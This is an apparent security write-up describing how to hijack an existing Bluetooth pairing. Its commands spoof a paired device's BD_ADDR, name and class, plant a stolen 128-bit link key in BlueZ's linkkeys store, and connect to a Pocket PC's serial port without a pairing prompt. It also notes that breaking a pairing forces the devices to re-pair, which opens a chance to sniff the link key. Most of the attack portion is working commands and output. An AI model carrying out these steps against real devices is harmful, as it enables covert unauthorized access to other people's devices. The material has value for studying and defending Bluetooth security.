Bluetooth: Theft of Link Keys for Fun and Profit?
enjoy...
Theft of Bluetooth Link Keys for Fun and
Profit?
kf[at]digitalmunition[dot]com
http://www.digitalmunition.com/TheftOfLinkKey.txt
In essence two things are required to attack a bluetooth pair. The ability to
spoof a BD_ADDR and possession of a
secret key also known as a Link Key. Some folks may argue that a third item is
required, in the form of a Bluetooth
Protocol Analyzer, however several trivial ways to steal link keys exist.
In the Bluetooth Specification version 1.0A description of the Link Manager
Protocol, section 3.2.1 states that
"The authentication procedure is based on a challenge-response scheme... The
verifier sends an LMP_au_rand PDU which
contains a random number (the challenge) to the claimant. The claimant
calculates a response, which is a function of
the challenge, the claimant's BD_ADDR and a secret key. That response is sent
back to the verifier, which checks if
the response was correct or not... A successful calculation of the
authentication response requires that two devices
share a secret key."
With both a spoofed BD_ADDR and a Link Key in hand we can simply allow our
device to handle the challenge response
with out any special code required. Once the authentication has passed we in
theory should have untethered access to
the device we are attacking.
In this example scenario We have 3 devices involved: 'threat', 'gumstix', and
'pocket_pc'. We will be attacking the
pairing between 'pocket_pc' and 'threat' from 'gumstix'.
Since 'threat' is currently paired with 'pocket_pc' it can connect to the
Serial Port profile at will. This profile
has been protected by the check box "Authentication (Passkey) required", so any
non paired device that attempts to
connect will be prompted to pair or simply refused a connection.
Here is the connection from 'threat' to 'pocket_pc'
threat:~# rfcomm connect 2 00:04:3E:65:A1:C8 1
Connected /dev/rfcomm2 to 00:04:3E:65:A1:C8 on channel 1
Press CTRL-C for hangup
And here is the connection from 'gumstix' to 'pocket_pc'
# rfcomm connect 2 00:04:3E:65:A1:C8 1
Can't connect RFCOMM socket: Connection refused
(we also got a pairing request from 'gumstix' on the 'pocket_pc' screen)
As mentioned above theft of the actual Link Key is fairly trivial, so for the
scope of this document assume that
either A) the pairing process was observed via Protocol Analyzer or B) Some
sort of software bug was used to steal
the link key.
As an example we could have forced a pairing attempt between 'pocket_pc' and
'gumstix' for sniffing purposes by
causing the existing pair to become invalid. From there calculations against
the link key can be done.
# cat > linkkeys
00:04:3E:65:A1:C8 thisisgarbadeasdasdadasdadasdasds 2
^C
# rfcomm connect 2 00:04:3E:65:A1:C8 1
Can't connect RFCOMM socket: Connection refused
At this point the pairing data stord on 'pocket_pc' has been ruined, and the
devices will have to re-pair.
Another chance to steal the link key could arise with certain software bugs in
a devices Bluetooth Stack, for example
http://cvs.sourceforge.net/viewcvs.py/bluez/utils/hcid/security.c?r1=1.34&r2=1.31
.
Our goal in this attack is to allow 'gumstix' to connect to 'pocket_pc' without
prompting for device pairing.
In this case since we already know that 'pocket_pc' and 'threat' are paired so
we will make an attempt to spoof
requests from 'gumstix' by pretenting to be 'threat'.
>From 'gumstix' first we must first obtain a few things, the device address,
>name and class of 'threat'.
# hcitool inquiry
Inquiring ...
00:04:3E:65:A1:C8 clock offset: 0x0ee7 class: 0x120110
00:0A:3A:54:71:95 clock offset: 0x0010 class: 0x3e0100
# hcitool scan
Scanning ...
00:04:3E:65:A1:C8 Pocket_PC
00:0A:3A:54:71:95 threat
Next will simply configure 'gumstix' to become a mirror image of 'threat' based
on the above data.
The first step is to steal the BD_ADDR from 'threat'.
For this I personally have 2 options, one is my ROK 101 008 from Ericsson and
option two is my ROK 104 001 from
Infineon. The only other option that I am aware of is the Infineon pba31307
however I have not tested this chip
myself. As a side note I am currently unaware of a method that allows a
Cambridge silicon radio to specify a BD_ADDR.
Since the gumstix platform comes with an ROK 104 001 on board we will download
an arm binary that lets us set
the BD_ADDR from http://www.digitalmunition.com/setbd-gumstix-bluez.tar.gz
# /mnt/setbd-gumstix-bluez 00:0A:3A:54:71:95
Using BD_ADDR from command line
00:0A:3A:54:71:95
< HCI Command: ogf 0x3f, ocf 0x0022, plen 255
95 71 54 3A 0A 00 00 00 10 C9 00 40 B0 FD FF BE 24 FC FF BE
98 3F 00 40 3C 2C 00 40 A4 FD FF BE A4 FD FF BE 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
03 00 00 00 34 80 00 00 04 00 00 00 20 00 00 00 05 00 00 00
06 00 00 00 06 00 00 00 00 10 00 00 07 00 00 00 00 00 00 40
08 00 00 00 00 00 00 00 09 00 00 00 A4 88 00 00 00 00 00 00
00 00 00 00 0B 00 00 00 00 00 00 00 0C 00 00 00 00 00 00 00
0D 00 00 00 00 00 00 00 0E 00 00 00 00 00 00 00 00 00 00 00
14 50 00 40 78 C8 00 40 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 0F 53 8E 07 BC 85 00 00
FE 37 07 00 6C 99 03 40 7C 53 00 40 44 B6 07 40 6C 99 03 40
B0 FD FF BE 78 87 00 00 A4 FD FF BE 02 00 00 00 20 42 00 40
6C FE FF BE D8 88 00 00 A4 88 00 00 5C B1 07
> HCI Event: 0x06 plen 149
71 54 3A 0A
hci0: Type: UART
BD Address: 00:0A:3A:54:71:95 ACL MTU: 672:8 SCO MTU: 64:0
UP RUNNING PSCAN ISCAN
RX bytes:4433 acl:96 sco:0 events:306 errors:0
TX bytes:3372 acl:98 sco:0 commands:94 errors:0
Next we must take both the device name and device class from 'threat'
# hciconfig hci0 class 0x3e0100
# hciconfig hci0 name threat
I have found that some devices are very picky about the device class and name
matching the original paired device
when a spoofed connection attempt is made.
When we are all finished hci0 should look like the following.
# hciconfig hci0 -a
hci0: Type: UART
BD Address: 00:0A:3A:54:71:95 ACL MTU: 672:8 SCO MTU: 64:0
UP RUNNING PSCAN ISCAN
RX bytes:6202 acl:136 sco:0 events:425 errors:0
TX bytes:4667 acl:138 sco:0 commands:124 errors:0
Features: 0xff 0xfb 0x01 0x00 0x00 0x00 0x00 0x00
Packet type: DM1 DM3 DM5 DH1 DH3 DH5 HV1 HV2 HV3
Link policy: RSWITCH HOLD SNIFF PARK
Link mode: SLAVE ACCEPT
Name: 'threat'
Class: 0x3e0100
Service Classes: Networking, Rendering, Capturing
Device Class: Computer, Uncategorized
HCI Ver: 1.1 (0x1) HCI Rev: 0x8105 LMP Ver: 1.1 (0x1) LMP Subver: 0x8d40
Manufacturer: Ericsson Technology Licensing (0)
The final step involves inserting our stolen link key into the Bluez key store.
The keystore resides in
/var/lib/bluetooth/<bdaddr>/linkkeys where <bdaddr> is the device address of
the machine running Bluez.
The linkkeys file format is <remoteaddr> <128 bit link key> <key type>.
# cd /var/lib/bluetooth/
# mkdir 00:0A:3A:54:71:95
# cd 00\:0A\:3A\:54\:71\:95/
# cat > linkkeys
00:04:3E:65:A1:C8 AA0F3125267C236E10B145F1DF5BA7D7 2
^C
At this point we should be all set to test out our stolen link key and spoofed
address.
# rfcomm connect 2 00:04:3E:65:A1:C8 1
Connected /dev/rfcomm2 to 00:04:3E:65:A1:C8 on channel 1
Press CTRL-C for hangup
Success!
There is no indication of a connection on the ipaq unless you go to Incomming
Connections in the Bluetooth Manager,
and at this point we have access to 'pocket_pc' as if we were 'threat'.
-KF